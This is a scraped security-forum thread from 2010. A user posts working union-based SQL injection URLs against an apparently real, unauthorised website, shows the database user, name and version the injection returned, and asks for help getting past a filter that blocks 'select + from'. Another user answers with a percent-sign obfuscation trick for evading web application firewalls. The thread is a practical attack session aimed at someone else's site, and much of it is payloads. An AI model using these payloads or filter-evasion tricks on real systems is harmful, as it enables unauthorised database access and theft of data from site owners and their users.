Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 25, 2012
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: jimysakura
New Today: 0
New Yesterday: 3
Overall: 8201

People Online:
Visitors: 254
Members: 1
Total: 255

Online Now:
01: vince213333 - Homepage
milw0rm
·[webapps / 0day] - appRain CMF Arbitrary PHP File Upload Vulnerability
·[local exploits] - OpenOffice OLE Importer DocumentSummaryInformatio n Stream Handling
·[local exploits] - Mod_Auth_OpenID Session Stealing Vulnerability
·[dos / poc] - Symantec End Point Protection 11.x & Symantec Network Access Control 11.x LCE
·[dos / poc] - Tftpd32 DHCP Serve 4.00 Denial Of Service
·[webapps / 0day] - Ajaxmint Gallery 1.0 Local File Inclusion
·[webapps / 0day] - RuubikCMS 1.1.0 Beta XSS / Disclosure / Directory Traversal
·[webapps / 0day] - Insight Creative Sql injection/Reflected XSS Vulnerabilties
·[webapps / 0day] - AFFY (index.php) Blind Sql Injection Vulnerability
·[webapps / 0day] - ezContents (1.x.x , 2.0.3) Blind injection/Reflected XSS Vulnerabilties

read more...
PacketStorm News
·Mandriva Linux Security Advisory 2012-080
·Red Hat Security Advisory 2012-0688-01
·Debian Security Advisory 2479-1
·Debian Security Advisory 2478-1
·Ubuntu Security Notice USN-1450-1
·Drupal BrowserID 7.x Cross Site Request Forgery
·Drupal Taxonomy List 6.x Cross Site Scripting
·Drupal Search API 7.x Cross Site Scripting
·Secunia Security Advisory 49200
·Secunia Security Advisory 49235

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> SELECT + FROM Filtered!!
Post new topic  Reply to topic View previous topic :: View next topic 
SELECT + FROM Filtered!!
PostPosted: Mon Dec 13, 2010 7:27 pm Reply with quote
TheMoorish
Active user
Active user
 
Joined: Dec 05, 2010
Posts: 25




Hi waraxers!!

I have this website which i was training on it as long as other websites, the filter is pretty tough!

i can't bypass it with known methodes like /*!*/ or uNiOn SelEcT or UnIOn (Select 1 from)

At first everything seems cool!!

Code:
http://www.site.com/page.php?rubr=news&id=-232 union select 1,2,3,4,5,6,CONCAT_WS(CHAR(32,58,32),user(),databa se(),version()),8,9,10,11,12,13,14,15,16,17,18,19--


siteuser@localhost : sitedb : 4.0.24_Debian-10sarge3-log

Untill i add "from", the forbidden page pops up!!!

Code:
http://www.site.com/page.php?rubr=news&id=-232 union select 1,2,3,4,5,6,7,8,9,8,9,10,11,12,13,14,15,16,17,18,1 9 from mysql.user--


Its only forbidden when you add "select + from"

i mean that "from" is not filtered alone.

same thing when you add "union + from" it doesn't give you the forbidden page.

So the server only filters "select + from"

I'll be so gratefull if you can help me with it . Thanks!


Last edited by TheMoorish on Tue Dec 14, 2010 6:06 am; edited 1 time in total
View user's profile Send private message
PostPosted: Mon Dec 13, 2010 10:22 pm Reply with quote
Despotic
Active user
Active user
 
Joined: Nov 17, 2010
Posts: 43




I hated those sites at first but found a pretty easy way of overcoming it.

Instead of select+from ... try.. se%lect+fr%om
and since from is not filtered you may want to try..... se%lect+from

I found out that will bypass most firewalls and filters....
and will still execute. Let me know if it works for you.
this is the first time that I have told anyone about that.
View user's profile Send private message
PostPosted: Mon Dec 13, 2010 11:05 pm Reply with quote
TheMoorish
Active user
Active user
 
Joined: Dec 05, 2010
Posts: 25




Despotic wrote:
I hated those sites at first but found a pretty easy way of overcoming it.

Instead of select+from ... try.. se%lect+fr%om
and since from is not filtered you may want to try..... se%lect+from

I found out that will bypass most firewalls and filters....
and will still execute. Let me know if it works for you.
this is the first time that I have told anyone about that.


Hi Despotic ,Thank you for your reply...I have tried "%" and it is filtered too, aslo when i add it alone i get the forbidden page.

Code:
http://www.site.com/page.php?rubr=news&id=-232%
View user's profile Send private message
PostPosted: Wed Dec 15, 2010 5:58 am Reply with quote
TheMoorish
Active user
Active user
 
Joined: Dec 05, 2010
Posts: 25




its a tough filter indeed XD


Last edited by TheMoorish on Wed Dec 15, 2010 5:48 pm; edited 1 time in total
View user's profile Send private message
PostPosted: Wed Dec 15, 2010 3:28 pm Reply with quote
x3roconf_
Advanced user
Advanced user
 
Joined: May 01, 2008
Posts: 101




It's not allowed to post uncensored target urls. Just FYI. Smile
View user's profile Send private message
PostPosted: Wed Dec 15, 2010 5:50 pm Reply with quote
TheMoorish
Active user
Active user
 
Joined: Dec 05, 2010
Posts: 25




x3roconf_ wrote:
It's not allowed to post uncensored target urls. Just FYI. Smile

link removed , thanks! XD
View user's profile Send private message
SELECT + FROM Filtered!!
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Nvidia GeForce Reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2010 Janek Vind "waraxe"

Page Generation: 0.086 Seconds